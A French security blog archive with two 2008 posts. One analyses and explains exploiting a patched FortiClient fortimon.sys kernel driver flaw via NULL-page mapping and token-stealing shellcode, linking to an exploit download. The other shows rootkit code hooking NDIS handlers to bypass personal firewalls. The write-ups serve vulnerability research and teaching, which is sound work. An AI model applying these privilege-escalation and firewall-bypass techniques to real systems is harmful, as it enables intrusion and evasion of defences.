Archive for février, 2008
Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!
Ce qui est cool c’est que l’adviso nous donne suffisamment d’info pour savoir ou chercher, extrait :
3. Fortinet FortiClient Local Privilege Escalation.
Fortinet Endpoint Solution For Enterprise, FortiClient is prone to a local privilege escalation due to the improper device filtering carried out by its filter driver, fortimon.sys .
The driver affected filters certain devices, enabling pass-through filtering. However, its own Device’s DeviceExtension is not correclty initialized so any logged user could force the kernel to operate with user-mode controlled memory just by direclty issuing a special request to the driver’s device.
This leads to local arbitrary code execution in the context of the kernel. Even Guest users can elevate privileges to SYSTEM.
On connait le nom du driver vulnérable, fortimon.sys, qu’il est de type file system filter driver et que une des structures appelée DeviceExtension est mal initialisée ce qui peut permettre une exploitation depuis l’user-land. Un file system filter driver est un module qui va surveiller les requètes (IRP) envoyées aux drivers filesytem, aussi bien le NTFS que le CDFS, il peut servir par exemple à controler l’ouverture des fichiers, ce genre de drivers est souvent utilisé par les soft d’anti-virus pour faire leurs contrôles.
Ok c’est partit, on choppe une version vuln du soft, ici par exemple et on commence à l’installer. Après installation on voit que ce soft est une usine a gaz avec des trucs dans tous les sens qui clignotent en vert et jaune et qui fait « ouinz ouinz, h4ck3rZ 4re st34l1nG y0ur m3g4hUrTz !!11″ toutes les 2 secondes. Bref c’est juste bon à tester en VM.
Alors, on commence à disass le drv fortimon.sys puis on lance le HIPS en VM. Sous Winobj on voit un device \device\fortimon, hop regardons de quel driver il provient.
kd> !devobj \device\fortimon
Device object (80f047d8) is for:
FortiMon*** ERROR: Module load completed but symbols could not be loaded for fortimon.sys
\FileSystem\FAFileMon DriverObject 80f04948
Current Irp 00000000 RefCount 3 Type 00000022 Flags 00000040
Dacl e129a6c4 DevExt 80f04890 DevObjExt 80f048d8
ExtensionFlags (0000000000)
Device queue is not busy.
kd> !drvobj \FileSystem\FAFileMon
Driver object (80f04948) is for:
\FileSystem\FAFileMon
Driver Extension List: (id , addr)
Device Object list:
ff8ca768 ffbbed10 ff877aa8 80e85678
ffa59a80 80dc0ed0 80dc7760 80dc79f8
80eb3110 80edab88 80f03ba0 80f047d8
kd> !drvobj \FileSystem\FAFileMon 3
Driver object (80f04948) is for:
\FileSystem\FAFileMon
Driver Extension List: (id , addr)
Device Object list:
ff8ca768 ffbbed10 ff877aa8 80e85678
ffa59a80 80dc0ed0 80dc7760 80dc79f8
80eb3110 80edab88 80f03ba0 80f047d8
DriverEntry: fa9f6bdc fortimon
DriverStartIo: 00000000
DriverUnload: 00000000
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE fa9f5aac fortimon+0xaac
[01] IRP_MJ_CREATE_NAMED_PIPE fa9f5764 fortimon+0x764
[02] IRP_MJ_CLOSE fa9f642c fortimon+0x142c
[03] IRP_MJ_READ fa9f5764 fortimon+0x764
[04] IRP_MJ_WRITE fa9f6654 fortimon+0x1654
[05] IRP_MJ_QUERY_INFORMATION fa9f5764 fortimon+0x764
[06] IRP_MJ_SET_INFORMATION fa9f5aac fortimon+0xaac
[07] IRP_MJ_QUERY_EA fa9f5764 fortimon+0x764
[08] IRP_MJ_SET_EA fa9f5764 fortimon+0x764
[09] IRP_MJ_FLUSH_BUFFERS fa9f5764 fortimon+0x764
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION fa9f5764 fortimon+0x764
[0b] IRP_MJ_SET_VOLUME_INFORMATION fa9f5764 fortimon+0x764
[0c] IRP_MJ_DIRECTORY_CONTROL fa9f5764 fortimon+0x764
[0d] IRP_MJ_FILE_SYSTEM_CONTROL fa9f5782 fortimon+0x782
[0e] IRP_MJ_DEVICE_CONTROL fa9f5764 fortimon+0x764
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fa9f5764 fortimon+0x764
[10] IRP_MJ_SHUTDOWN fa9f5764 fortimon+0x764
[11] IRP_MJ_LOCK_CONTROL fa9f5764 fortimon+0x764
[12] IRP_MJ_CLEANUP fa9f6606 fortimon+0x1606
[13] IRP_MJ_CREATE_MAILSLOT fa9f5764 fortimon+0x764
[14] IRP_MJ_QUERY_SECURITY fa9f5764 fortimon+0x764
[15] IRP_MJ_SET_SECURITY fa9f5764 fortimon+0x764
[16] IRP_MJ_POWER fa9f5764 fortimon+0x764
[17] IRP_MJ_SYSTEM_CONTROL fa9f5764 fortimon+0x764
[18] IRP_MJ_DEVICE_CHANGE fa9f5764 fortimon+0x764
[19] IRP_MJ_QUERY_QUOTA fa9f5764 fortimon+0x764
[1a] IRP_MJ_SET_QUOTA fa9f5764 fortimon+0x764
[1b] IRP_MJ_PNP fa9f5764 fortimon+0x764
Fast I/O routines:
FastIoCheckIfPossible fa9f6d7a fortimon+0x1d7a
FastIoRead fa9f6dbe fortimon+0x1dbe
FastIoWrite fa9f6e02 fortimon+0x1e02
FastIoQueryBasicInfo fa9f6e6c fortimon+0x1e6c
FastIoQueryStandardInfo fa9f6ea6 fortimon+0x1ea6
FastIoLock fa9f6ee0 fortimon+0x1ee0
FastIoUnlockSingle fa9f6f26 fortimon+0x1f26
FastIoUnlockAll fa9f6f66 fortimon+0x1f66
FastIoUnlockAllByKey fa9f6f9e fortimon+0x1f9e
FastIoDeviceControl fa9f714c fortimon+0x214c
FastIoDetachDevice fa9f74e6 fortimon+0x24e6
FastIoQueryNetworkOpenInfo fa9f7558 fortimon+0x2558
MdlRead fa9f7592 fortimon+0x2592
MdlReadComplete fa9f75d2 fortimon+0x25d2
PrepareMdlWrite fa9f7606 fortimon+0x2606
MdlWriteComplete fa9f7666 fortimon+0x2666
FastIoReadCompressed fa9f76bc fortimon+0x26bc
FastIoWriteCompressed fa9f7706 fortimon+0x2706
MdlReadCompleteCompressed fa9f776e fortimon+0x276e
MdlWriteCompleteCompressed fa9f77a0 fortimon+0x27a0
FastIoQueryOpen fa9f77f6 fortimon+0x27f6
Okai, le driver s’appel \FileSystem\FAFileMon, il possède 12 devices sur ma box. Il gère les MajorsFunctions de type :
IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_WRITE
IRP_MJ_SET_INFORMATION
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_CLEANUP
La routine des autres MajorFunctions en 0xfa9f5764, sert juste à dispacher les IRP aux devices en dessous. Remarquez l’ensemble des routines de type Fast I/O qui sert lors d’appels synchrones.
En fait le driver va utiliser l’API IoRegisterFsRegistrationChange pour enregistrer une fonction de callback qui va servir à attacher un device sur sa device stack afin de filtrer ses IRP. C’est pour cela qu’il y a autant de devices, ils sont attachés à tous les devices gérant des systèmes de fichiers.
Maintenant regardons sous IDA l’initialisation du premier device, celui qui permet une communication avec l’user-land et qui doit d’être nommé. Ici il s’appel \\.\FortiMon. Ce genre de device est de type CDO (Control Device Object) contrairement aux autres devices unamed ici qui sont des FiDO (Filter Device Object) le CDO à pour rôle de recevoir des ordres depuis le user-land sous forme d’IOCTL.
; int __stdcall sub_104CE(PDRIVER_OBJECT DriverObject)
sub_104CE proc near
SymbolicLinkName= UNICODE_STRING ptr -14h
DestinationString= UNICODE_STRING ptr -0Ch
DeviceObject= dword ptr -4
DriverObject= dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov esi, ds:RtlInitUnicodeString
push offset SourceString ; "\\Device\\FortiMon"
lea eax, [ebp+DestinationString]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset aDosdevicesFort ; "\\DosDevices\\FortiMon"
lea eax, [ebp+SymbolicLinkName]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
lea eax, [ebp+DeviceObject]
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 22h ; DeviceType
lea eax, [ebp+DestinationString]
push eax ; DeviceName
push 44h ; DeviceExtensionSize
push [ebp+DriverObject] ; DriverObject
call ds:IoCreateDevice
mov esi, eax
test esi, esi
jl short loc_1054D
lea eax, [ebp+DestinationString]
push eax ; DeviceName
lea eax, [ebp+SymbolicLinkName]
push eax ; SymbolicLinkName
call ds:IoCreateSymbolicLink
mov esi, eax
test esi, esi
jl short loc_10544
mov eax, [ebp+DeviceObject]
mov edx, [eax+28h] ; DeviceExtension
push edi
push 11h
pop ecx
xor eax, eax ;eax=0
mov edi, edx
rep stosd ; <=> memset(DeviceExtension, 0, 0x11*4)
mov dword ptr [edx+4], 1
mov eax, [ebp+DeviceObject]
mov [edx+8], eax
pop edi
jmp short loc_1054D
[...]
Okaj, le device est créé et recoit une structure DeviceExtension. A quoi ca sert ? En gros l’I/O manager fournit au développeur un champ unique pour chaque device lui permettant de stocker de données. Dans le cas d’un FiDO le DeviceExtension sert à contenir un pointeur sur le device attaché afin de pouvoir lui retransmettre les IRP.
C’est de la que vient la vuln, en effet le CDO ne filtrant pas d’IRP mais en recevant uniquement n’a pas besoin d’avoir de DeviceExtension or ici il en reçoit une qui est initialisé à 0.
Il faut savoir que les MajorFunctions ne font pas la différence entre les devices, ce que je veux dire, c’est que si le CDO reçoit une IRP sur la MajorFunction IRP_MJ_CREATE, du fait que le driver à un rôle de filtre l’IRP sera transmise au device en dessous. Et c’est bien là le gros problème, car le pointeur sur le device en dessous est stocké dans la DeviceExtenion or pour le CDO de ce driver celle-ci est nulle !! KABOOM !!!
Pour que vous compreniez mieux voiçi un code qui représente une MajorFunction qui envoie directement l’IRP au device suivant.
//dispatch down an IRP
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
ULONG Status;
IoSkipCurrentIrpStackLocation(pIrp);
Status=IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->AttachedToDeviceObject, pIrp);
return Status;
}
Avec le fortimon.sys comme la DeviceExtension est nulle, la fonction IoCallDriver va tenter d’appeler la fonction d’un driver qui n’existe pas. Reste à exploiter cela …
On a IoCallDriver qui est de prototype :
NTSTATUS
IoCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);
On sait que le param DeviceObject sera NULL. L’idée consiste donc à allouer une page mémoire commençant à l’adresse 0×00000000. Il suffit ensuite de mettre dans cette zone mémoire les bonnes valeurs aux bons endroits pour réussir notre exploitation. Pour ce faire, on va disass IoCallDriver
kd> u IoCallDriver
nt!IoCallDriver:
8052dce4 8bff mov edi,edi
8052dce6 55 push ebp
8052dce7 8bec mov ebp,esp
8052dce9 8b550c mov edx,dword ptr [ebp+0Ch]
8052dcec 8b4d08 mov ecx,dword ptr [ebp+8]
8052dcef ff15002b5580 call dword ptr [nt!pIofCallDriver (80552b00)]
8052dcf5 5d pop ebp
8052dcf6 c20800 ret 8
kd> uf nt!IopfCallDriver
nt!IopfCallDriver:
804e37d0 fe4a23 dec byte ptr [edx+23h] ; edx=IRP, IRP->CurrentLocation--
804e37d3 8a4223 mov al,byte ptr [edx+23h]
804e37d6 84c0 test al,al ; si CurrentLocation <=0
804e37d8 0f8ec6850300 jle nt!IopfCallDriver+0xa (8051bda4)
nt!IopfCallDriver+0x18:
804e37de 8b4260 mov eax,dword ptr [edx+60h] ; current I/O stack location
804e37e1 83e824 sub eax,24h
804e37e4 56 push esi
804e37e5 894260 mov dword ptr [edx+60h],eax ; next stack location
804e37e8 894814 mov dword ptr [eax+14h],ecx ; ecx=DeviceObject
804e37eb 0fb600 movzx eax,byte ptr [eax] ;eax=MajorFunction indice
804e37ee 8b7108 mov esi,dword ptr [ecx+8] ;esi=DriverObject
804e37f1 52 push edx
804e37f2 51 push ecx
804e37f3 ff548638 call dword ptr [esi+eax*4+38h] ;DriverObject.MajorFunction[eax]
804e37f7 5e pop esi
804e37f8 c3 ret
kd> dt nt!_DEVICE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 ReferenceCount : Int4B
+0x008 DriverObject : Ptr32 _DRIVER_OBJECT
+0x00c NextDevice : Ptr32 _DEVICE_OBJECT
+0x010 AttachedDevice : Ptr32 _DEVICE_OBJECT
+0x014 CurrentIrp : Ptr32 _IRP
+0x018 Timer : Ptr32 _IO_TIMER
+0x01c Flags : Uint4B
+0x020 Characteristics : Uint4B
+0x024 Vpb : Ptr32 _VPB
+0x028 DeviceExtension : Ptr32 Void
+0x02c DeviceType : Uint4B
+0x030 StackSize : Char
+0x034 Queue : __unnamed
+0x05c AlignmentRequirement : Uint4B
+0x060 DeviceQueue : _KDEVICE_QUEUE
+0x074 Dpc : _KDPC
+0x094 ActiveThreadCount : Uint4B
+0x098 SecurityDescriptor : Ptr32 Void
+0x09c DeviceLock : _KEVENT
+0x0ac SectorSize : Uint2B
+0x0ae Spare1 : Uint2B
+0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
+0x0b4 Reserved : Ptr32 Void
kd> dt nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : [28] Ptr32 long
Attention IopfCallDriver est convention d’appel FastCall, les params sont passés par ecx et edx. IopfCallDriver va donc prendre le DeviceObject et retrouvé à quel DriverObject il appartient, si la page qu’on alloue est mise à 0, on est sur que le DriverObject sera null lui aussi. Ensuite la fonction va appeler la MajorFunction en fonction du type d’IRP avec l’instruction : call dword ptr [esi+eax*4+38h] (esi=DriverOBject, eax=MajorFunction).
Comme nous pouvons choisir le type d’IRP que nous envoyons sur le CDO, on peut connaître la valeur de eax et donc choisir ce que va contenir [esi+eax*4+38h] et qu’est ce qu’on y met ? L’adresse d’un joli shellcode ring0 wOot !
Dans mon exploit j’ai choisit d’utiliser la MajorFunction IRP_MJ_FILE_SYSTEM_CONTROL envoyé par l’API native ZwFsControlFile. En fait j’ai eu un peu de mal à éviter les Fast I/O car si la requête passe dans ce genre de routine l’exploitation ne marchera pas, va falloir que je lise de la doc dessus.
Donc sachant que IRP_MJ_FILE_SYSTEM_CONTROL=0xD, il suffit de mettre à l’adresse 0+0xd*4+0×38 un pointeur sur notre shellcode qui modif le token du process courant par celui du process system et c’est bon, on a notre local privilege escalation :]
En tout ca le sploit que je vous fournis fonctionne très bien et vous le trouverez ici :
http://ivanlef0u.fr/repo/fortimon.rar
Voilà, voilà, j’espère que vous avez compris dans l’ensemble le principe de l’exploitation, n’hesitez pas à poser des questions.
février 28th, 2008
Je viens de tomber sur un article monstrueux sur rootkit.com. The truth aboutpersonal firewalls plonge dans les méandres des firewalls Windows. Evidemment ca me rappel beaucoup les recherches que j’ai faite pour le rootkit Bl4me, le code se travaillant au niveau des handlers des NDIS_OPEN_BLOCK en les hookant avec le code suivant :
#pragma pack(push)
#pragma pack(1)
typedef struct _HOOK_CONTEXT_STRUCT
{
//runtime code
UCHAR code1_0x58; //0x58 | pop eax | pop caller IP from stack to eax
UCHAR code2_0x68; //0x68 | push IMM | push our hook context address
struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this
UCHAR code3_0x50; //0x50 | push eax | push caller IP from eax to stack
UCHAR code4_0xE9; //0xE9 | jmp HookProc | jump our hook proc
ULONG m_pHookProcOffset;
//our context data
PVOID m_pOriginalProc;
PVOID m_pHookProc;
PVOID m_pBindAdaptHandle;
PVOID m_pProtocolContent;
PVOID *m_ppOriginPtr;
struct _HOOK_CONTEXT_STRUCT *m_pHookNext;
}HOOK_CONTEXT_STRUCT;
#pragma pack(pop)
HOOK_CONTEXT_STRUCT *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
HOOK_CONTEXT_STRUCT *pHookContext;
PVOID OrgFunc;
pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
if(pHookContext){
OrgFunc = pHookContext->m_pOriginalProc;
}
else{
OrgFunc = ppOrigProc[0];
}
if (OrgFunc == NULL){
return NULL;
}
pHookContext = IsHookedNdisFuncEx(ppOrigProc);
if(pHookContext){
return pHookContext;
}
NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
if(pHookContext == NULL){
return NULL;
}
memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));
pHookContext->code1_0x58 = 0x58;
pHookContext->code2_0x68 = 0x68;
pHookContext->code3_0x50 = 0x50;
pHookContext->code4_0xE9 = 0xE9;
pHookContext->m_pHookContext = pHookContext;
pHookContext->m_pHookProcOffset = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
pHookContext->m_pBindAdaptHandle = pBindAdAptHAndle;
pHookContext->m_pProtocolContent = pProtocolContent;
pHookContext->m_pOriginalProc = OrgFunc;
pHookContext->m_ppOriginPtr = ppOrigProc;
pHookContext->m_pHookProc = pHookProc;
pHookContext->m_pHookNext = m_pOurAllOfHookContext;
m_pOurAllOfHookContext = pHookContext;
ppOrigProc[0] = pHookContext;
return pHookContext;
}
He wi, le code fonctionne comme le firewall Zone Alarm en allouant dans la non-paged pool un petit bout de code jumpant sur notre handler, c’est tout mimi et ca marche, en mémoire en se retrouve donc avec :
kd> !protocols
Protocol 80d5bd40: NDISUIO
Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
Protocol 80dcc5f0: TCPIP_WANARP
Open 80e002f0 - Miniport: 80de8140 Miniport réseau étendu (IP)
Protocol 80d4c878: TCPIP
Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
Protocol 80dbb3a8: NDPROXY
Open 80e0f610 - Miniport: 80dad140 Parallèle direct
Open 80e20e78 - Miniport: 80dad140 Parallèle direct
Open 80dba668 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
Open 80dab3a0 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
Protocol 80db0008: RASPPPOE
Protocol 80de9a38: NDISWAN
Open 80e86660 - Miniport: 80dad140 Parallèle direct
Open 80e19e60 - Miniport: 80db17f8 Miniport réseau étendu (PPTP)
Open ffb711a8 - Miniport: 80db0a50 Miniport WAN (PPPOE)
Open 80df8210 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
kd> dt ndis!_NDIS_OPEN_BLOCK 80dc8c50
+0x000 MacHandle : 0x80de5680
+0x004 BindingHandle : 0x80dc8c50
+0x008 MiniportHandle : 0x80df3140 _NDIS_MINIPORT_BLOCK
+0x00c ProtocolHandle : 0x80d4c878 _NDIS_PROTOCOL_BLOCK
+0x010 ProtocolBindingContext : 0x80db9008
+0x014 MiniportNextOpen : (null)
+0x018 ProtocolNextOpen : (null)
+0x01c MiniportAdapterContext : 0xffb6d000
+0x020 Reserved1 : 0 ''
+0x021 Reserved2 : 0 ''
+0x022 Reserved3 : 0 ''
+0x023 Reserved4 : 0 ''
+0x024 BindDeviceName : 0x80df3150 _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
+0x028 Reserved5 : 0
+0x02c RootDeviceName : 0x80dd556c _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
+0x030 SendHandler : 0xfa5ceb31 int NDIS!ndisMFakeSend+0
+0x030 WanSendHandler : 0xfa5ceb31 int NDIS!ndisMFakeSend+0
+0x034 TransferDataHandler : 0xfa5ccfd5 int NDIS!ndisMTransferData+0
+0x038 SendCompleteHandler : 0x80d5cc00 void +ffffffff80d5cc00
+0x03c TransferDataCompleteHandler : 0xfa3ae105 void tcpip!ARPTDComplete+0
+0x040 ReceiveHandler : 0xffb88768 int +ffffffffffb88768
+0x044 ReceiveCompleteHandler : 0xfa3807ed void tcpip!ARPRcvComplete+0
+0x048 WanReceiveHandler : (null)
+0x04c RequestCompleteHandler : 0xfa3873fb void tcpip!ARPRequestComplete+0
+0x050 ReceivePacketHandler : 0x80ddfc10 int +ffffffff80ddfc10
+0x054 SendPacketsHandler : 0xfa5cea8f void NDIS!ndisMFakeSendPackets+0
+0x058 ResetHandler : 0xfa5ceb0c int NDIS!ndisMFakeReset+0
+0x05c RequestHandler : 0xfa5cb988 int NDIS!ndisMRequest+0
+0x060 ResetCompleteHandler : 0xfa3ae127 void tcpip!ARPResetComplete+0
+0x064 StatusHandler : 0xfa39a1e1 void tcpip!ARPStatus+0
+0x068 StatusCompleteHandler : 0xfa39a0d9 void tcpip!ARPStatusComplete+0
+0x06c Flags : 0x100
+0x070 References : 1
+0x074 SpinLock : 0
+0x078 FilterHandle : 0x80dcef20
+0x07c ProtocolOptions : 0
+0x080 CurrentLookahead : 0x80
+0x082 ConnectDampTicks : 0
+0x084 DisconnectDampTicks : 0
+0x088 WSendHandler : 0xfa84a58c int dc21x4!DC21X4Send+0
+0x08c WTransferDataHandler : (null)
+0x090 WSendPacketsHandler : (null)
+0x094 CancelSendPacketsHandler : (null)
+0x098 WakeUpEnable : 0
+0x09c CloseCompleteEvent : (null)
+0x0a0 QC : _QUEUED_CLOSE
+0x0b4 AfReferences : 0
+0x0b8 NextGlobalOpen : 0x80e002f0 _NDIS_OPEN_BLOCK
+0x0bc NextAf : (null)
+0x0c0 MiniportCoCreateVcHandler : 0x0a0e0019 int +a0e0019
+0x0c4 MiniportCoRequestHandler : 0x6d66444e int +6d66444e
+0x0c8 CoCreateVcHandler : (null)
+0x0cc CoDeleteVcHandler : (null)
+0x0d0 CmActivateVcCompleteHandler : (null)
+0x0d4 CmDeactivateVcCompleteHandler : (null)
+0x0d8 CoRequestCompleteHandler : (null)
+0x0dc ActiveVcHead : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x0e4 InactiveVcHead : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x0ec PendingAfNotifications : 0
+0x0f0 AfNotifyCompleteEvent : 0xfa5cd122 _KEVENT
kd> u ffffffff80d5cc00 //SendCompleteHandler
80d5cc00 58 pop eax
80d5cc01 6800ccd580 push 80D5CC00h
80d5cc06 50 push eax
80d5cc07 e922a9f175 jmp kernel_tcp!HookProtocolSendComplete (f6c7752e)
80d5cc0c a837 test al,37h
80d5cc0e 38fa cmp dl,bh
80d5cc10 2e75c7 hnt jne 80d5cbda
80d5cc13 f6508c not byte ptr [eax-74h]
Si on dump la struct HOOK_CONTEXT_STRUCT on peut retrouver aussi le handler original à l’offset 0xC
kd> dd 80d5cc00 l 24
80d5cc00 cc006858 e95080d5 75f1a922 fa3837a8
80d5cc10 f6c7752e 80dc8c50 80d4c878 80dc8c88
80d5cc20 80ddfc10 80d5cc20 0a0a0006 ee657645
80d5cc30 e1034838 00380038 e1231900 00000001
80d5cc40 80dcf388 80d8d0d0 000002d4 84000000
80d5cc50 00000003 00000001 80ef9450 24000020
80d5cc60 805609e0 e127473f 8004bc00 00000000
80d5cc70 80e40a20 80e40a20 0a08000a ee657645
80d5cc80 80d5ccc0 ffb9e308 000002d4 00000000
kd> ln fa3837a8
(fa3837a8) tcpip!ARPSendComplete | (fa383829) tcpip!GetARPBufferAtDpcLevel
Exact matches:
tcpip!ARPSendComplete =
Bon il est clair que le code de Bl4me est expérimental mais il suffit à bypass pas mal de firewall actuel même si il est dit dans l’article que certains fw comme Outpost restorent leurs handlers, il est toujours possible de contourner cette sécurité. Pour les paquets sortant on utilise les fonctions NdisMSendPackets et ndisMSendX en les envoyant direct sur le Miniport :
VOID (* pndisMSendPacketsX)(
IN NDIS_HANDLE NdisBindingHandle,
IN PPNDIS_PACKET PacketArray,
IN UINT NumberOfPackets
);
Pour les paquets sortant, on tape direct sur le NDIS_MINIPORT_BLOCK plus précisément sur les blocks servant à la fonction NDIS!ethFilterDprIndicateReceivePacket pour dispatcher les packets sur les NDIS_OPEN_BLOCK attachés au miniport.
Exemple :
kd> !miniports
NDIS Driver verifier level: 0
NDIS Failed allocations : 0
Miniport Driver Block: 80dac8b8, Version 0.0
Miniport: 80dad140, NetLuidIndex: 0, IfIndex: 0, Parallèle direct
Miniport Driver Block: 80db1db8, Version 0.0
Miniport: 80db17f8, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (PPTP)
Miniport Driver Block: 80db2080, Version 0.0
Miniport: 80db0a50, NetLuidIndex: 0, IfIndex: 0, Miniport WAN (PPPOE)
Miniport Driver Block: 80de9950, Version 0.0
Miniport: 80de8140, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (IP)
Miniport Driver Block: 80df07d8, Version 0.0
Miniport: 80df0298, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (L2TP)
Miniport Driver Block: 80df4880, Version 5.5
Miniport: 80df3140, NetLuidIndex: 0, IfIndex: 0, Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
kd> dt nt!_NDIS_MINIPORT_BLOCK 80df4880
kd> dt ndis!_NDIS_MINIPORT_BLOCK 80df3140
+0x000 Signature : 0x504d444e
+0x004 NextMiniport : (null)
+0x008 DriverHandle : 0x80df4880 _NDIS_M_DRIVER_BLOCK
+0x00c MiniportAdapterContext : 0xffb6d000
+0x010 MiniportName : _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
+0x018 BindPaths : 0x80dd5568 _NDIS_BIND_PATHS
+0x01c OpenQueue : 0x80e2fef0
+0x020 ShortRef : _REFERENCE
+0x028 DeviceContext : (null)
+0x02c Padding1 : 0 ''
+0x02d LockAcquired : 0 ''
+0x02e PmodeOpens : 0 ''
+0x02f AssignedProcessor : 0 ''
+0x030 Lock : 0
+0x034 MediaRequest : (null)
+0x038 Interrupt : 0xffb6d008 _NDIS_MINIPORT_INTERRUPT
+0x03c Flags : 0xc412008
+0x040 PnPFlags : 0x10210000
+0x044 PacketList : _LIST_ENTRY [ 0x80df3184 - 0x80df3184 ]
+0x04c FirstPendingPacket : (null)
+0x050 ReturnPacketsQueue : (null)
+0x054 RequestBuffer : 0xb
+0x058 SetMCastBuffer : (null)
+0x05c PrimaryMiniport : 0x80df3140 _NDIS_MINIPORT_BLOCK
+0x060 WrapperContext : 0x80df30f8
+0x064 BusDataContext : 0x80eaef08
+0x068 PnPCapabilities : 0x30
+0x06c Resources : (null)
+0x070 WakeUpDpcTimer : _NDIS_TIMER
+0x0b8 BaseName : _UNICODE_STRING "{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
+0x0c0 SymbolicLinkName : _UNICODE_STRING "\??\PCI#VEN_1011&DEV_0009&SUBSYS_21140A00&REV_20#3&267a616a&0&50#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
+0x0c8 CheckForHangSeconds : 2
+0x0cc CFHangTicks : 1
+0x0ce CFHangCurrentTick : 1
+0x0d0 ResetStatus : 0
+0x0d4 ResetOpen : (null)
+0x0d8 EthDB : 0x80e438e8 _X_FILTER
+0x0d8 NullDB : 0x80e438e8 _X_FILTER
+0x0dc TrDB : (null)
+0x0e0 FddiDB : (null)
+0x0e4 ArcDB : (null)
+0x0e8 PacketIndicateHandler : 0xfa5baa0b void NDIS!ndisMDummyIndicatePacket+0
+0x0ec SendCompleteHandler : 0xfa5ccbc3 void NDIS!NdisMSendComplete+0
+0x0f0 SendResourcesHandler : 0xfa5d2a24 void NDIS!NdisMSendResourcesAvailable+0
+0x0f4 ResetCompleteHandler : 0xfa5d408f void NDIS!NdisMResetComplete+0
+0x0f8 MediaType : 0 ( NdisMedium802_3 )
+0x0fc BusNumber : 0
+0x100 BusType : 5 ( NdisInterfacePci )
+0x104 AdapterType : 5 ( NdisInterfacePci )
+0x108 DeviceObject : 0x80df3040 _DEVICE_OBJECT
+0x10c PhysicalDeviceObject : 0x80eaee50 _DEVICE_OBJECT
+0x110 NextDeviceObject : 0x80eaee50 _DEVICE_OBJECT
+0x114 MapRegisters : 0x80d9eab0 _MAP_REGISTER_ENTRY
+0x118 CallMgrAfList : (null)
+0x11c MiniportThread : (null)
+0x120 SetInfoBuf : (null)
+0x124 SetInfoBufLen : 0
+0x126 MaxSendPackets : 0
+0x128 FakeStatus : -1073676257
+0x12c LockHandler : 0xfa5cfd89
+0x130 pAdapterInstanceName : 0x80e7fbc0 _UNICODE_STRING "Carte Fast Ethernet PCI à base de Intel 21140 (Générique)"
+0x134 TimerQueue : (null)
+0x138 MacOptions : 0x8f
+0x13c PendingRequest : (null)
+0x140 MaximumLongAddresses : 0x24
+0x144 MaximumShortAddresses : 0
+0x148 CurrentLookahead : 0x80
+0x14c MaximumLookahead : 0x200
+0x150 HandleInterruptHandler : 0xfa846094 void dc21x4!DC21X4HandleInterrupt+0
+0x154 DisableInterruptHandler : 0xfa846e32 void dc21x4!DC21X4DisableInterrupt+0
+0x158 EnableInterruptHandler : 0xfa846e18 void dc21x4!DC21X4EnableInterrupt+0
+0x15c SendPacketsHandler : 0xfa5cd31c void NDIS!ndisMSendPackets+0
+0x160 DeferredSendHandler : 0xfa5cc997 unsigned char NDIS!ndisMStartSends+0
+0x164 EthRxIndicateHandler : 0xfa5d9af6 void NDIS!EthFilterDprIndicateReceive+0
